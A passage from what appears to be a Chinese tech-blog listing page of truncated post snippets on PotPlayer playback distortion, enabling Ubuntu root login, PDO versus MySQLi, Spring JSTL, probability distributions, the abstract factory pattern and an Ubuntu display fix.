  3. Potplay视频播放画面扭曲

    Potplayer是一款非常好用的视频播放器,解码快,功耗低同时相对较好支持保真加速,但是,在使用过程中出现了如下的所谓“Bug” 经过摸索发现是播放器自动检测到此视频是360视频(不明觉厉,貌似需要 ...

  4. Ubuntu 获取 root 用户权限并以 root权限登录

    操作步骤: 1.打开终端,使用 sudo passwd root 命令进行 Ubuntu 中密码的重置        2.切换到 /usr/share/lightdm/lightdm.conf.d 目 ...

  5. PDO和Mysqli的区别

    参考:http://www.cnblogs.com/feng18/p/6523646.html 人家写的不错

  6. Spring JSTL 获取后端数据失败。

    显示的jsp页面仍是${XXX}的形式. 解决方法一: 这是因为我们在web.xml中使用的是jsp1.2版本的DTD,在此版本JSTL默认不打开,我们需要手动打开,打开方法: 在相应的JSP头部加入 ...

  7. (转)Gamma分布,Beta分布,Multinomial多项式分布,Dirichlet狄利克雷分布

    1. Gamma函数 首先我们可以看一下Gamma函数的定义: Gamma的重要性质包括下面几条: 1. 递推公式: 2. 对于正整数n, 有 因此可以说Gamma函数是阶乘的推广. 3.  4.  ...

  8. Java 设计模式之抽象工厂模式

    抽象工厂模式(Abstract Factory Pattern)是围绕一个超级工厂创建其他工厂.该超级工厂又称为其他工厂的工厂.这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式. 在抽 ...

  9. ubuntu18.04系统下无外部显示问题解决

    记录一下自己作死过程. 由于学习的需要,在windows10下装了ubuntu18.04系统,第一次装这个系统时,也出现了无外部显示,那时候是老师帮忙搞好的,当时没太在意,只是走马关花的看了老师操作了 ...

  10. 数百个 HT 工业互联网 2D 3D 可视化应用案例分享 - 2019 篇

    继<分享数百个 HT 工业互联网 2D 3D 可视化应用案例>2018 篇,图扑软件定义 2018 为国内工业互联网可视化的元年后,2019 年里我们与各行业客户进行了更深度合作,拓展了H ...